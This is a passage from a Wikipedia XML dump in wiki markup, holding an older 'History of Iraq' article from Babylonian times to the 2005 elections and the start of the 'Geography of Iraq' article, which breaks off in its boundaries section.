In the [[6th century BC]] ([[586 BC]]), Nebuchadrezzar II conquered [[Judea]] (Judah), destroyed [[Jerusalem]]; [[Solomon]]'s [[Temple in Jerusalem|Temple]] was also destroyed; [[Nebuchadrezzar II|Nebuchadrezzar]] carried away an estimated 15,000 captives, and sent most of its population into exile in Babylonia. Nebuchadrezzar (604-562 BC) is credited for building the legendary [[Hanging Gardens of Babylon]], one of the [[Seven Wonders of the World]].

Various invaders conquered the land after Nebuchadrezzar's death, including [[Cyrus the Great]] in [[539 BC]] and [[Alexander the Great]] in [[331 BC]], who died there in [[323 BC]]. [[Babylon]] declined after the founding of [[Seleucia on the Tigris]], the new [[Seleucid Empire]] capital. In the [[second century BC]], it became part of the [[Persian Empire]], then was conquered by [[Alexander the Great]] and remained under [[Hellenistic Greece|Greek]] rule under the [[Seleucid]] dynasty for nearly two centuries. A Central Asian tribe of [[Iranian peoples]] called [[Parthians]] then annexed the region followed by the [[Sassanian]] Persians until the [[7th century]] AD, when Arab Muslims captured it.

==Persian Domination; 550 BCE to 652 CE==
[[Image:Achaemenid Empire.jpg|left|thumb|300px|Achaemenid empire at its greatest extent]]
In CE 600 the country which in our modern time known as [[Iraq]] was a province of the [[Iranian peoples|Iranian]] Empire known as [[khvarvaran]] province, to which it had belonged since [[Cyrus the Great]]. Intensive irrigation agriculture of the lower [[Tigris]] and [[Euphrates]] and of tributaries such as the Diyala and Karun formed the main resource base of the [[Sasanian]] monarchy.

The [[Arabic]] term [[Iraq]], a derivative form of [[Persian language|Persian]] Ērāk (lower Iran) was not used at this time; in the mid-6th century the Iranian Empire under Sasanian dynasty was divided by [[Khosrow I]] into four quarters, of which the western one, called ''Khvārvarān'', included most of modern Iraq, and subdivided to provinces of ''Mishān'', ''Asuristān'', ''Ādiābene'' and Lower [[Media]]. The term Iraq is widely used in the medieval Arabic sources for the area in the centre and south of the modern republic as a geographic rather than a political term, implying no precise boundaries.

The area of modern Iraq north of [[Tikrit]] was known in Muslim times as Al-Jazirah, which means &quot;The Island&quot; and refers to the &quot;island&quot; between the Tigris and Euphrates rivers. To the south and west lay the Arabian deserts, inhabited largely by Arab tribesmen who occasionally acknowledged the overlordship of the Sasanian Emperors.

Until 602 the desert frontier of greater [[Iran]] had been guarded by the [[Lakhmid]] kings of [[Al-Hirah]], who were themselves Arabs but who ruled a settled buffer state. In that year [[Shahanshah]] [[Khosrow II]] Aparviz rashly abolished the Lakhmid kingdom and laid the frontier open to nomad incursions. Farther north the western quarter was bounded by the Byzantine Empire. The frontier more or less followed the modern [[Syria]]-Iraq border and continued northward into modern [[Turkey]], leaving [[Nisibis]] (modern Nusaybin) as the Sasanian frontier fortress while the [[Byzantines]] held Dara and nearby [[Amida]] (modern [[Diyarbakir]]).

==Ethnic Diversity &amp; Religion==
The inhabitants were very mixed. There was an aristocratic and administrative [[Persians|Persian]] upper class, but most of the population were middle class Persian [[Zoroastrians]] and the rest [[Aramaic]]-speaking peasants. There were a number of Tāzis (Arabs), most of whom lived as pastoralists along the western margins of the settled lands, but some lived as townspeople, especially in Hireh (al-Hira). In addition, there were another group of Iranian, [[Kurds]], who lived along the foothills of the [[Zagros]] Mountains, and a surprisingly large number of [[Greeks]], mostly prisoners captured during the numerous Sasanian campaigns into [[Byzantine Empire|Byzantine]] [[Syria]].

Ethnic diversity was matched by religious pluralism. The Sasanian state religion, [[Zoroastrian]] religion, was largely confined to the Iranians. The rest of the population, especially in the northern part of the country, were probably [[Christians]]. These were sharply divided by doctrinal differences into Monophysites, linked to the Jacobite church of Syria, and [[Nestorians]].

The Nestorians, who originally converted from Zoroastrianism, [[Manichaenism]] and [[Mazdakism]], were the most widespread and were tolerated by the Sasanian Emperors because of their opposition to the Christians of the [[Roman Empire]], who regarded the Nestorians as heretics. Many of those Iranian Nestorians were deported to southern provinces, located south of [[Persian Gulf]], such as [[Mishmāhig]] (modern Bahrain and UAE), Garrhae (modern Saudi coast of Persian Gulf). The Monophysites were regarded with more suspicion and were occasionally persecuted, but both groups were able to maintain an ecclesiastical hierarchy, and the Nestorians had an important intellectual centre at Nisibis. The area around the ancient city of [[Babylon]] by this time had a large population of [[Jews]], both descendants of the exiles of [[Old Testament]] times and local converts. In addition, in the southern half of the country there were numerous adherents of the old Babylonian paganism, as well as [[Mandaeans]] and [[Gnostics]].

In the early 7th century the stability and prosperity of this multicultural society were threatened by invasion. In 602 Khosrow II Aparviz launched the last great Iranian invasion of the Byzantine Empire. At first he was spectacularly successful; Syria and Egypt fell, and [[Constantinople]] itself was threatened. Later the tide began to turn, and in 627-628 the Byzantines, under the leadership of the Heraclius, invaded Khvārvarān province and sacked the imperial capital at Tyspawn ([[Ctesiphon]]). The invaders did not remain, but Khosrow was discredited, deposed, and executed.

There followed a period of infighting among generals and members of the Imperial family that left the country without clear leadership. The chaos had also damaged irrigation systems, and it was probably at this time that large areas in the south of the country reverted to marshlands, which they have remained ever since. It was with this devastated land that the earliest Muslim raiders came into contact.

==The Arab conquest and the early Islamic period==
[[Image:Age of Caliphs.gif|225px|thumb|left|The Age of the Caliphs]]
The first organised conflict between local [[Bedouin]] Arab tribes and Iranian forces seems to have been in 634, when the Arabs were defeated at the Battle of the Bridge. There was a force of some 5000 [[Muslims]] under Abū `Ubayd ath-Thaqafī, which was routed by the Iranians. Around [[636]], a much larger Arab Muslim force under [[Sa`d ibn Abī Waqqās]] defeated the main Iranian army at the [[Battle of al-Qādisiyyah]] and moved on to sack the capital of the Iranian Empire the [[Ctesiphon]]. By the end of [[638]], the Muslims had conquered almost all of Western Iranian provinces (modern Iraq), and the last [[Sasanian|Sāsānian]] Emperor, [[Yazdegerd III|Yazdgird III]], had fled to central and then northern Iran, where he was killed in [[651]].

The Islamic conquest was followed by mass immigration of Arabs from eastern [[Arabia]] and Mazun ([[Oman]]) to Khvarvārān. These new arrivals did not disperse and settle throughout the country; instead they established two new garrison cities, at al-Kūfah, near ancient Babylon, and at [[Basra|Basrah]] in the south.

The intention was that the Muslims should be a separate community of fighting men and their families living off taxes paid by the local inhabitants. In the north of the North eastern Iran, [[Mosul]] began to emerge as the most important city and the base of a Muslim governor and garrison. Apart from the those Iranian elite and the Zoroastrian priests, who did not convert to Isalm, and thus lost their lives and property, most of the Iranian peoples became Muslim and were allowed to keep their possessions.

Khvarvārān, now became a province of the Muslim [[Caliphate]], known as '''`Irāq'''.

== The Turkish Conquest ==
[[Image:Dish from 9th century Iraq.jpg|thumb|right|250px|This [[earthenware]] dish was made in [[9th century]] [[Iraq]]. It is housed in the [[Smithsonian Institution]] in [[Washington, D.C.]]]]

During the late [[14th century|14th]] and early [[15th century|15th centuries]], the [[Black Sheep Turkmen]] ruled the area now known as Iraq. In [[1466]], the [[White Sheep Turkmen]] defeated the Black Sheep and took control. Later, most of Iraq would become part of the [[Safavid Empire]] that arose in [[Iran]] in [[1501]].

In the [[16th century]] Iraq became a part of the [[Ottoman Empire]], although the [[Safavid Empire|Safavids]] temporarily recaptured much of Iraq during the first part of the [[17th century]].

== Modern History ==
Ottoman rule over Iraq lasted until the [[Great War]] (World War I) when the Ottomans sided with [[Germany]] and the [[Central Powers]].   [[United Kingdom|British]] forces invaded the country and suffered a major defeat at the hands of the Turkish army during the  [[Siege of Kut]] (1915–16).   British forces regrouped and [[Fall_of_Baghdad_%281917%29|captured Baghdad]] in 1917.   An armistice was signed in 1918.  

&lt;div style=&quot;float: left; margin: 1em 1em 1em 1em; text-align: center;&quot;&gt;[[Image:LittleIraq.png]]&lt;/div&gt;

'''[[Iraq]]''' was carved out of the [[Ottoman Empire]] by the French and British as agreed in the [[Sykes-Picot Agreement]]. On [[11 November]] [[1920]] it became a [[League of Nations mandate]] under British control with the name &quot;State of Iraq&quot;.

The British government laid out the political and constitutional framework for Iraq's government. Britain imposed a [[Hashemite|Hāshimite]] monarchy on Iraq and defined the territorial limits of Iraq without taking into account the aspirations of the different ethnic and religious groups in the country, in particular those of the Kurds to the north. Britain had to put down a major revolt against its policies between 1920 and 1922. During the [[Iraqi revolt against the British|revolt]] Britain used gas and air attacks on Iraqi villagers {{ref|ref1}}.

In the Mandate period and beyond, the British supported the traditional, Sunni leadership (such as the tribal ''[[shaykh]]''s) over the growing, urban-based nationalist movement. The Land Settlement Act gave the tribal shaykhs the right to register the communal tribal lands in their own name. The Tribal Disputes Regulations gave them judiciary rights, whereas the Peasants' Rights and Duties Act of 1933 severely reduced the tenants, forbidding them to leave the land unless all their debts to the landlord had been settled. The British resorted to military force when their interests were threatened, as in the [[1941]] [[Iraq coup (1941)|Rashīd `Alī al-Gaylānī coup]]. This coup led to a [[Anglo-Iraqi War | British invasion of Iraq]] using forces from the [[British Indian Army]] and the [[Arab Legion]] from [[Jordan]].

=== The Iraqi Monarchy ===
[[Emir]] [[Faisal I of Iraq|Faysāl ibn Husayn]], leader of the Arab revolt against the Ottoman sultān during the [[Great War]], and member of the Sunni Hāshimite family from Mecca, became the first king of the new state. He obtained the throne partly by the influence of [[T.E. Lawrence]]. Although the monarch was legitimized and proclaimed King by a [[plebiscite]] in 1921, nominal independence was only achieved in 1932, when the British [[Mandate]] officially ended.

In 1927, huge oil fields were discovered near [[Kirkuk]] and brought economic improvement. Exploration rights were granted to the Iraqi Petroleum Company, which despite the name, was a British oil company.

King Faysāl I was succeeded by his son [[Ghazi I of Iraq|Ghāzī]] in December [[1933]]. King Ghāzī's reign lasted five and a half years. He claimed Iraqi sovereignty over Kuwait. An avid amateur racer, the king drove his car into a lamppost and died [[3 April]] [[1939]]. His son [[Faisal II of Iraq|Faysāl]]  followed him to the throne.

King [[Faisal II of Iraq|Faysāl II]] (1935 – 1958) was the only son of King Ghāzī I and Queen `Aliyah. The new king was four when his father died. His uncle [['Abd al-Ilah|`Abd al-Ilāh]] became regent (April 1939 – May 1953).

In [[1945]], Iraq joined the [[United Nations]] and became a founding member of the [[Arab League]]. At the same time the Kurdish leader Mustafā Barzānī led a rebellion against the central government in [[Baghdad|Baghdād]]. After the failure of the uprising Barzānī and his followers fled to the [[Soviet Union]].

In [[1948]], Iraq and five other Arab countries fought a war with the newly-declared State of [[Israel]]. The fighting continued till May 1949 when a cease-fire agreement was signed. The cost of the war had a negative impact on Iraq's economy. The government had to allocate 40 percent of available funds to the army and for the [[Palestinian]] refugees. Oil royalties paid to Iraq were halved when the pipeline to [[Haifa]] was cut. The war and the hanging of several [[Jew]]ish [[business]]men led to the departure of most of Iraq's Jewish community. Jews had lived in Mesopotamia for at least 2,500 years.

Iraq signed the [[Baghdad Pact|Baghdād Pact]] in 1956. It allied Iraq, [[Turkey]], [[Iran]], [[Pakistan]], the [[United States]] and the [[United Kingdom]]. Its headquarters were in [[Baghdad|Baghdād]]. The Pact constituted a direct challenge to [[Egypt]]ian president [[Gamal Abdal Nasser|Gamāl `Abd an-Nāsir]]. In response, `Abd an-Nāsir launched a media campaign that challenged the legitimacy of the Iraqi monarchy.

In February 1958, [[Hussein of Jordan|King Husayn]] of [[Jordan]] and `Abd al-Ilāh proposed a union of Hāshimite monarchies to counter the recently formed Egyptian-Syrian union. The prime minister [[Nuri as-Said|Nūrī as-Sa`īd]] wanted [[Kuwait]] to be part of the proposed Arab-Hāshimite Union. Shaykh `Abd-Allāh as-Salīm, the ruler of Kuwait, was invited to Baghdād to discuss Kuwait's future. This policy brought the government of Iraq into direct conflict with Britain, which did not want to grant independence to Kuwait. At that point, the monarchy found itself completely isolated. Nūrī as-Sa`īd was able to contain the rising discontent only by resorting to ever greater political oppression.

[[List of Kings of Iraq]]

=== The Republic ===
Inspired by [[Gamal Abdel Nasser|Gamāl `Abd an-Nāsir]], officers from the Nineteenth Brigade known as &quot;Free Officers&quot;, under the leadership of Brigadier [[Abdul-Karim Qassem|`Abd al-Karīm Qāsim]] (known as ''&quot;az-Za`īm&quot;'', 'the leader') and Colonel [[Abdul Salam Arif|`Abd as-Salām `Arif]] overthrew the Hāshimite monarchy on [[14 July]] [[1958]]. King Faysāl II and `Abd al-Ilāh were executed in the gardens of ar-Rihāb Palace. Their bodies (and those of many others in the royal family) were displayed in public. Nūrī as-Sa`īd evaded capture for one day, but after attempting to escape disguised as a veiled woman, he was caught and shot.

The new government proclaimed Iraq to be a [[republic]] and rejected the idea of a union with Jordan. Iraq's activity in the Baghdād Pact ceased.

When Qāsim distanced himself from `Abd an-Nāsir, he faced growing opposition from pro-Egypt officers in the Iraqi army. `Arif, who wanted closer cooperation with Egypt, was stripped of his responsibilities and after a convenient trial thrown in prison.

When the garrison in [[Mosul]] rebelled against Qāsim's policies, he allowed the Kurdish leader Barzānī to return from exile in the Soviet Union to help suppress the pro-Nāsir rebels.

In [[1961]], [[Kuwait]] gained independence from Britain and Iraq claimed sovereignty over Kuwait. Britain reacted strongly to Iraq's claim and sent troops to Kuwait to deter Iraq. Qāsim was forced to back down and in October [[1963]], Iraq recognised the sovereignty of Kuwait.

A period of considerable instability followed. Qāsim was assassinated in February [[1963]], when the [[Ba'ath Party|Ba`th Party]] took power under the leadership of General [[Ahmed Hasan al-Bakr|Ahmad Hasan al-Bakr]] ([[prime minister]]) and Colonel [[Abdul Salam Arif|`Abd as-Salām `Arif]] (president). Nine months later `Abd as-Salam Muhammad `Arif led a successful coup against the Ba`th government. On [[13 April]] [[1966]], President `Abd as-Salām `Arif died in a helicopter crash and was succeeded by his brother, General [[Abdul Rahman Arif|`Abd ar-Rahman `Arif]]. Following the [[Six Day War]] of [[1967]], the Ba`th Party felt strong enough to retake power ([[17 July]] [[1968]]). Ahmad Hasan al-Bakr became president and chairman of the Revolutionary Command Council (RCC).

Barzānī and the Kurds who had begun a rebellion in 1961 were still causing problems in 1969. The secretary-general of the Ba`th party [[Saddam Hussein|Saddām Husayn]] was given responsibility to find a solution. It was clear that it was impossible to defeat the Kurds by military means and in [[1970]] a political agreement was reached between the rebels and the Iraqi government.

Iraq's economy recovered sharply after the 1968 revolution. The Arif brothers had spent close to 90% of the national budget on the army but the Ba`th government gave priority to agriculture and industry. The British [[Iraq Petroleum Company]] monopoly was broken when a new contract was signed with [[ERAP]], a major French oil company. Later the IPC was nationalised. As a result of these policies Iraq experienced fast economic growth.

During the 1970s, border disputes with Iran and Kuwait caused many problems. Kuwait's refusal to allow Iraq to build an harbour in the [[Shatt al-Arab|Shatt al-`Arab]] delta strengthened Iraq's belief that conservative powers in the region were trying to control the [[Persian Gulf]]. Iran's occupation of numerous islands in the [[Strait of Hormuz]] didn't help alter Iraq's fears. The border disputes between Iraq and Iran were temporarily resolved with the signing of the [[Algiers Accord]] on [[6 March]] [[1975]].

[[Image:AlBakr.jpg|thumb|right|250px|Saddām Husayn talking with Ahmad Hasan al-Bakr]]

In 1972 an Iraqi delegation visited [[Moscow]]. The same year diplomatic relations with the US were restored. Relations with Jordan and Syria were good. Iraqi troops were stationed in both countries. During the 1973 [[October War]], Iraqi divisions engaged Israeli forces.

In retrospect, the 1970s can be seen as a high point in Iraq's modern history. A new, young, technocratic elite was governing the country and the fast growing economy brought prosperity and stability. Many Arabs outside Iraq considered it an example. However, the following decades would not be so good.

==Rule Under Saddām==
In July [[1979]], Bakr resigned, and his chosen successor, [[Saddam Hussein|Saddām Husayn]], assumed the offices of both President and Chairman of the Revolutionary Command Council. He was the de facto ruler of Iraq for some years before he formally came to power.

Territorial disputes with [[Iran]] led to an inconclusive and costly eight-year war, the '''[[Iran-Iraq War]]''' ([[1980]] – [[1988]], termed ''[[Battle of al-Qādisiyyah|Qādisiyyat]]-Saddām'' – 'Saddām's [[Qādisiyyah]]'), eventually devastating the economy. Iraq declared victory in 1988 but actually achieved a weary return to the ''[[status quo ante bellum]]''. The war left Iraq with the largest military establishment in the Persian Gulf region but with huge debts and an ongoing rebellion by [[Kurd]]ish elements in the northern mountains. The government, it is alleged, suppressed the rebellion by using weapons on civilian targets.

A mass [[chemical weapon]]s attack on the city of [[Halabja poison gas attack|Halabja]] in March 1988 during the [[Iran-Iraq War]] is usually attributed to Saddam's regime, although responsibility for the attack is a matter of some dispute {{ref|ref2}} (Saddam maintains his innocence in this matter). Almost all current accounts of the incident regard the Iraqi regime as the party responsible for the gas attack (as opposed to Iran), and the event has become iconic in depictions of Saddam's cruelty. Estimates of casualties range from several hundred to at least 7,000 people. The Iraqi government continued to be supported by a broad international community including the most of the West, the [[Soviet Union]], and [[China]] which continued sending arms shipments to combat [[Iran]]. Indeed, shipments from the US increased after this date, and the UK awarded £400 million in trade credits to Iraq ten days after condemning the massacre [http://middleeastreference.org.uk/llb020916a.html].

In the late 1970s, Iraq purchased a French nuclear reactor, dubbed [[Osirak]] or [[Tammuz 1]]. Construction began in 1979. In 1980 the reactor site suffered minor damage due to an Iranian air strike, and in 1981, before the reactor could be completed, it was destroyed by the [[Israeli Air Force]] (see [[Operation Opera]]), greatly setting back Iraq's nuclear weapons program.

=== Invasion of Kuwait and the [[Persian Gulf War]] ===
A long-standing territorial dispute led to the invasion of [[Kuwait]] in [[1990]]. Iraq accused Kuwait of violating the Iraqi border to secure oil resources, and demanded that its debt repayments should be waived. Direct negotiations began in July 1990, but they soon failed. Saddām Hussein had an emergency meeting with [[April Glaspie]], the United States Ambassador to Iraq, on [[25 July]] 1990, airing his concerns but stating his intention to continue talks. April Glaspie informed Saddām that the United States had no interest in Iraq/Kuwait border disputes.

Arab mediators convinced Iraq and Kuwait to negotiate their differences in [[Jiddah]], [[Saudi Arabia]], on [[1 August]] [[1990]], but that session resulted only in charges and counter-charges. A second session was scheduled to take place in [[Baghdad|Baghdād]], the Iraqi capital, but Iraq invaded Kuwait the next day. Iraqi troops overran the country shortly after midnight on [[2 August]] 1990. The [[United Nations Security Council]] and the [[Arab League]] immediately condemned the Iraqi invasion. Four days later, the Security Council imposed an economic [[embargo]] on Iraq that prohibited nearly all trade with Iraq.

Iraq responded to the sanctions by annexing Kuwait as the &quot;19th Province&quot; of Iraq on [[8 August]], prompting the exiled Sabah family to call for a stronger international response. Over the ensuing months, the United Nations Security Council passed a series of resolutions condemned the Iraqi occupation of Kuwait and implementing total mandatory economic sanctions against Iraq. Other countries subsequently provided support for &quot;[[Operation Desert Shield]]&quot;. In November 1990, the UN Security Council adopted Resolution 678, permitting member states to use all necessary means, authorising military action against the Iraqi forces occupying Kuwait, and demanded a complete withdrawal by [[15 January]] [[1991]].

[[Image:Gulf war soldiers.jpg|thumb|left|222px|''A US Army convoy crosses the [[Iraq]]i desert during the [[Persian Gulf War]].'']]

When Saddām Husayn failed to comply with this demand, the [[Persian Gulf War]] (Operation &quot;[[Desert Storm]]&quot;) ensued on the 17th of January 1991 (3 a.m. Iraq time), with allied troops of 28 countries, led by the US launching an aerial bombardment on Baghdad. The war, which proved disastrous for Iraq, lasted only six weeks, one hundred and forty thousand tons of munitions had showered down on the country, the equivalent of 7 [[Hiroshima]] bombs. Probably as many as 100,000 Iraqi soldiers and tens of thousands of civilians were killed.

Allied air raids destroyed roads, bridges, factories, and oil-industry facilities (shutting down the national refining and distribution system) and disrupted electric, telephone, and water service. Conference centres and shopping and residential areas were hit. Hundreds of Iraqis were killed in the attack on the [[Al-Amiriyah]] bomb shelter. Diseases spread through contaminated drinking water because water purification and sewage treatment facilities could not operate without electricity.

A cease-fire was announced by the US on [[28 February]] [[1991]]. UN Secretary-General [[Javier Pérez de Cuéllar]] met with [[Saddam Hussein|Saddām Husayn]] to discuss the Security Council timetable for the withdraw of troops from Kuwait. Iraq agreed to [[UN]] terms for a permanent cease-fire in April 1991, and strict conditions were imposed, demanding the disclosure and destruction of all stockpiles of weapons.

[[Image:Hussein1.jpg|frame|During the Persian Gulf War Saddām became well-known for his distinctive uniform and beret, pictured here.]]

===Iraq under UN Sanction===
''See also: [[Iraq sanctions]]''

On [[6 August]] [[1990]], after Iraqs invasion of Kuwait, the U.N. Security Council adopted [[UN Resolution 661|Resolution 661]] which imposed [[economic sanctions]] on Iraq, providing for a full trade embargo, excluding medical supplies, food and other items of humanitarian necessity, these to be determined by the Security Council sanctions committee. After the end of the Gulf War and after Iraqs withdrawal from Kuwait, the sanctions were linked to removal of [[Weapons of mass destruction]] by [[UN Resolution 687|Resolution 687]][http://www.mideastweb.org/687.htm]. Iraq was later allowed under the UN Oil-for-Food program ([[UN Resolution 986|Resolution 986]]) to export $5.2 billion (USD) of oil every 6 months. It is alleged that much of this program suffered from corruption between Saddam and the U.N., with little aid getting to the Iraqi people.

The [[United States]], citing a need to prevent the genocide of the Marsh Arabs in southern Iraq and the [[Kurds]] to the north, declared &quot;air exclusion zones&quot; north of the 36th parallel and south of the 32nd parallel. The [[Bill Clinton|Clinton]] administration judged an alleged assassination attempt on former President [[George H. W. Bush]] by Iraqi secret agents to be worthy of a military response on [[27 June]] [[1993]]. The Iraqi Intelligence Headquarters in Baghdad was targeted by [[Tomahawk cruise missile]]s. 

During the time of the UN sanctions internal and external opposition to the Ba´ath government was weak and divided. In May 1995, Saddām sacked his half-brother, Wathban, as Interior Minister and in July demoted his Defense Minister, [[Ali Hassan al-Majid|`Alī Hasan al-Majīd]]. These personnel changes were the result of the growth in power of Saddām Hussein's two sons, [[Uday Hussein|`Udayy Husayn]] and [[Qusay Hussein|Qusayy Husayn]], who were given effective vice-presidential authority in May 1995. In August Major General Husayn Kāmil Hasan al-Majīd, Minister of Military Industries and a political ally of Saddam, defected to Jordan, together with his wife (one of Saddām's daughters) and his brother, Saddām, who was married to another of the president's daughters; both called for the overthrow of the Iraqi government. After a few weeks in Jordan, being given promises of a safe return, the two brothers returned to Iraq where they were killed.

During the latter part of the 1990s the UN considered relaxing the sanctions imposed because of the hardships suffered by ordinary Iraqis. According to UN estimates, between 500,000 and 1.2 million children died[http://www.unicef.org/newsline/99pr29.htm] during the years of the sanctions, though the figure is in dispute. The Unites States used its veto in the UN securiy council to block the proposal to lift the sanctions.

Iraqi cooperation with UN weapons inspection teams was questioned on several occasions during the 1990s. [[UNSCOM]] chief weapons inspector [[Richard Butler]] withdrew his team from Iraq in November 1998 because Iraqs lack of cooperation. The team returned in December. {{ref|ref3}}. Butler prepared a report for the [[UN Security Council]] afterwords in which he expressed dissatisfaction with the level of compliance [http://edition.cnn.com/WORLD/meast/9811/11/iraq.05/]. The same month, US President Bill Clinton authorized air strikes on government targets and military facilities. Air strikes against military facilities and alleged WMD sites continued into 2002.

===2003 invasion of Iraq===
''Main article'': [[2003 invasion of Iraq]].

After the terrorist attacks by the group around the [[Osama bin Laden]] on New York and Washington in the United States in 2001, American foreign policy began to call for the removal of the Ba´ath government in Iraq as a part of the global [[War on Terrorism]]. Conservative think-tanks in Washington had for years been urging [[regime change]] in Baghdad, but until the [[Iraq Liberation Act|Iraq Liberation Act of 1998]], official US policy was to simply keep Iraq complying with UN sanctions. In addition, unofficial US policies, including a CIA backed coup attempt, were aimed at removing Saddam Hussein from power. The election of [[George W. Bush]] as US president had as result that many of the people who had urged for a regime change were placed in influental policy making positions in the new administration. After the attacks regime change became official policy.

The US urged the [[United Nations]] to take military action against Iraq. The American president George Bush stated that Saddām had repeatedly violated 16 UN Security Council resolutions. The Iraqi government rejected Bush's assertions. A team of U.N. inspectors, led by Swedish diplomat [[Hans Blix]] was admitted, into the country; their final report stated that Iraqis capability in producing &quot;weapons of mass destruction&quot; was not significantly different from 1992 when the country dismantled the bulk of their remaining arsenals under terms of the ceasefire agreement with U.N. forces, but did not completely rule out the possibility that Saddam still had Weapons of Mass Destruction. The [[United States]] and the [[United Kingdom]] charged that Iraq was hiding Weapons and opposed the team's requests for more time to further investigate the matter, claiming that such investigations had gone on for years without success. [[UN Security Council Resolution 1441|Resolution 1441]] was passed unanimously by the [[UN Security Council]] on November 8, 2002, offering Iraq &quot;a final opportunity to comply with its disarmament obligations&quot; that had been set out in several previous UN resolutions, threatening &quot;serious consequences&quot; if the obligations were not fulfilled. The UN Security Council did not issue a resolution authorizing the use of force against Iraq.

In March [[2003]] the [[United States]] and the [[United Kingdom]], with military aid from other nations, invaded Iraq.

== Coalition occupation of Iraq ==
[[image:saddamcapture.jpg|thumb|left|222px|''Saddām Husayn with a long beard shortly after capture''.]]

In 2003, after the American and British invasion, Iraq was [[2003 occupation of Iraq| occupied]] by Coalition forces. On [[23 May]] [[2003]], the UN Security Council unanimously approved a resolution lifting all economic sanctions against Iraq.

As the country struggled to rebuild after 3 wars and a decade of sanctions, it was racked by violence between a growing insurgency [[Iraqi insurgency]] and occupation forces. Saddām Husayn, who vanished in April was captured on [[13 December]] [[2003]].

The initial US interim civil administrator, [[Jay Garner]], was replaced in May 2003 by [[L. Paul Bremer]], who was himself replaced by [[John Negroponte]] in [[19 April]] [[2004]] who left Iraq in [[2005]]. Negroponte was the last US interim administrator. 


Terrorism emerged as a threat to Iraq's people not long after the invasion of 2003. Al Qaeda now has a presence in the country, in the form of several terrorist groups led by Abu Musab Al Zarqawi. Many foreign fighters and former Ba`th Party officials have also joined the insurgency, which is mainly aimed at attacking American forces and Iraqis who work with them. The most dangerous insurgent area is the [[Sunni Triangle]], a mostly Sunni-Muslim area just north of Baghdad.

=== Coalition withdrawal ===
''Main article'': [[Iraq after Saddam Hussein|Iraq after Saddām Husayn]]

A few days after the [[11 March 2004 Madrid attacks]], the pro-war government of [[Spain]] was voted out of office. The War had been deeply unpopular and the incoming [[Socialist]] government followed through on its [[manifesto]] commitment to withdraw troops from [[Iraq]]. Following on the heels of this, several other nations that once formed the [[Coalition of the Willing]] began to reconsider their role. The [[Netherlands|Dutch]] refused a US offer to commit their troops to Iraq past [[30 June]]. [[South Korea]] kept its troops deployed.

Soon after the decisions to withdrawal in the Spring of 2004, the [[Dominican Republic]], [[Honduras|Honduran]], [[Guatemala]], [[Kazakhstan]], [[Singapore]], [[Thailand]], [[Portugal]], [[Philippines]], [[Bulgaria]], [[Nicaragua]] and [[Italy]] left or are planning to leave as well. Other nations (such as [[Australia]], [[Denmark]] and [[Poland]]) continue commitment in Iraq.

On [[28 June]] [[2004]], the occupation was formally ended by the U.S.-led coalition, which transferred power to an interim Iraqi government led by Prime Minister [[Iyad Allawi|Iyyād `Alāwī]]. On [[16 July]] [[2004]], the [[Philippines]] ordered the withdrawal of all of its troops in Iraq in order to comply with the demands of terrorists holding Filipino citizen [[Angelo de la Cruz]] as a hostage. Many nations that have announced withdrawal plans or are considering them have stated that they may reconsider if there is a new UN resolution that grants the UN more authority in Iraq.

On [[January 30]], [[2005]]. the [[Iraqi National Assembly election, 2005|transitional parliamentary elections]] took place. ''See:'' '''[[Iraqi legislative election, January 2005]].'''

== References ==
1. {{note|ref1}} SIMONS, Geoff: Iraq: ''From Summer to Sudan'', St. Martins Press, London, 1994, p 179

2. {{note|ref2}} The US [[Defense Intelligence Agency]] reported that that the attack was carried out by Iran, a version of events supported by the [[CIA]] during the early 1990s  [http://www.fas.org/man/dod-101/ops/war/docs/3203/appb.pdf]. See also an opinion piece by CIA analyst Stephen C Pelletiere, in which he conlcudes that there is no basis for a judgement as to whether Iran or Iraq was responsible for the attack [http://query.nytimes.com/gst/abstract.html?res=F60816FC3D5C0C728FDDA80894DB404482].

3. http://middleeastreference.org.uk/llb020916a.html

4. http://www.mideastweb.org/687.htm

5. {{note|ref3}} Richard BUTLER, ''Saddam Defiant'', Weidenfeld &amp; Nicolson, London, 2000, p. 224

== See also ==
* [[Iraq]]
* [[Reconstruction of Iraq]]
* [[President of Iraq]]
* [[Prime Minister of Iraq]]
* [[Christoph Marcinkowski]]
* [[Kurdistan]]
* [[History of the Kurds]]
* [[Yazidism]]
* [[Mesopotamia]]
* [[Mesopotamian mythology]]

==External links==
* [http://www.countryreports.org/history/iraqhist.htm history of Iraq]
* [http://iwa.univie.ac.at The 2003- Iraq War &amp; Archaeology]


[[Category:History of Iraq| ]]
[[Category:History of the Middle East|Iraq, History of]]

[[ar:تاريخ العراق]]
[[de:Geschichte Iraks]]
[[es:Historia de Iraq]]
[[ia:Historia de Iraq]]
[[it:Storia dell'Iraq]]
[[nl:Geschiedenis van Irak]]
[[pt:História do Iraque]]
[[sv:Iraks historia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Iraq</title>
    <id>14665</id>
    <revision>
      <id>42032225</id>
      <timestamp>2006-03-03T09:28:40Z</timestamp>
      <contributor>
        <username>Classic 971</username>
        <id>704231</id>
      </contributor>
      <text xml:space="preserve">{{update}}

[[Image:Iraq_map.png|right|frame|Iraq Map]]
[[Image:LittleIraq.png|right|]]

[[Iraq]] is bordered by [[Kuwait]], [[Iran]], [[Turkey]], [[Syria]], [[Jordan]], and [[Saudi Arabia]]. The country slopes from mountains over 3,000 [[meter]]s (10,000&amp;nbsp;[[foot (unit of length)|ft]]) above sea level along the border with Iran and Turkey to the remnants of sea-level, reedy marshes in the southeast. Much of the land is desert or wasteland.

The mountains in the northeast are an extension of the alpine system that runs eastward from the Balkans into southern [[Turkey]], northern Iraq, [[Iran]], and [[Afghanistan]], terminating in the Himalayas.

Average temperatures range from higher than 48 &amp;deg;C (120&amp;nbsp;[[Fahrenheit|&amp;deg;F]]) in July and August to below freezing in January. Most of the rainfall occurs from December through April and averages between 100 and 180 [[millimeter]]s (4 to 7 [[inch|in]]) annually. The mountainous region of northern Iraq receives appreciably more precipitation than the central or southern desert region. 

'''[[Geographic coordinates]]:''' {{coor dm|33|00|N|44|00|E|type:country}}

==Boundaries==

The border with Iran has been a continuing source of conflict and was partially responsible for the outbreak in 1980 of the present war. The terms of a treaty negotiated in 1937 under British auspices provided that in one area of the Shatt al Arab the boundary would be at the low water mark on the Iranian side. Iran subsequently insisted that the 1937 treaty was imposed on it by &quot;British imperialist pressures,&quot; and that the proper boundary throughout the Shatt was the thalweg. The matter came to a head in 1969 when Iraq, in effect, told the Iranian government that the Shatt was an integral part of Iraqi territory and that the waterway might be closed to Iranian shipping.

